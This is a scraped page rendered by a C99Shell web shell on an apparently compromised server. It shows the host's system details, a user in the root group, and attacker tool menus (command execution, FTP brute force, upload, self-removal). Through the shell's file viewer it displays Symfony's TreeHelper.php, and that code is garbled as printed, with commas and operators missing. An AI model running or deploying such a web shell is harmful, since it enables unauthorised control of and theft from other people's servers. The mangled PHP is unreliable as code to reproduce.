!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/symfony/console/Helper/   drwxr-xr-x
Free 28.79 GB of 117.98 GB (24.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TreeHelper.php (2.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Helper;

use 
Symfony\Component\Console\Output\OutputInterface;

/**
 * The TreeHelper class provides methods to display tree-like structures.
 *
 * @author Simon AndrĂ© <smn.andre@gmail.com>
 *
 * @implements \RecursiveIterator<int, TreeNode>
 */
final class TreeHelper implements \RecursiveIterator
{
    
/**
     * @var \Iterator<int, TreeNode>
     */
    
private \Iterator $children;

    private function 
__construct(
        private readonly 
OutputInterface $output,
        private readonly 
TreeNode $node,
        private readonly 
TreeStyle $style,
    ) {
        
$this->children = new \IteratorIterator($this->node->getChildren());
        
$this->children->rewind();
    }

    public static function 
createTree(OutputInterface $outputstring|TreeNode|null $root nulliterable $values = [], ?TreeStyle $style null): self
    
{
        
$node $root instanceof TreeNode $root : new TreeNode($root ?? '');

        return new 
self($outputTreeNode::fromValues($values$node), $style ?? TreeStyle::default());
    }

    public function 
current(): TreeNode
    
{
        return 
$this->children->current();
    }

    public function 
key(): int
    
{
        return 
$this->children->key();
    }

    public function 
next(): void
    
{
        
$this->children->next();
    }

    public function 
rewind(): void
    
{
        
$this->children->rewind();
    }

    public function 
valid(): bool
    
{
        return 
$this->children->valid();
    }

    public function 
hasChildren(): bool
    
{
        if (
null === $current $this->current()) {
            return 
false;
        }

        foreach (
$current->getChildren() as $child) {
            return 
true;
        }

        return 
false;
    }

    public function 
getChildren(): \RecursiveIterator
    
{
        return new 
self($this->output$this->current(), $this->style);
    }

    
/**
     * Recursively renders the tree to the output, applying the tree style.
     */
    
public function render(): void
    
{
        
$treeIterator = new \RecursiveTreeIterator($this);

        
$this->style->applyPrefixes($treeIterator);

        
$this->output->writeln($this->node->getValue());

        
$visited = new \SplObjectStorage();
        foreach (
$treeIterator as $node) {
            
$currentNode $node instanceof TreeNode $node $treeIterator->getInnerIterator()->current();
            if (isset(
$visited[$currentNode])) {
                throw new 
\LogicException(\sprintf('Cycle detected at node: "%s".'$currentNode->getValue()));
            }
            
$visited[$currentNode] = true;

            
$this->output->writeln($node);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--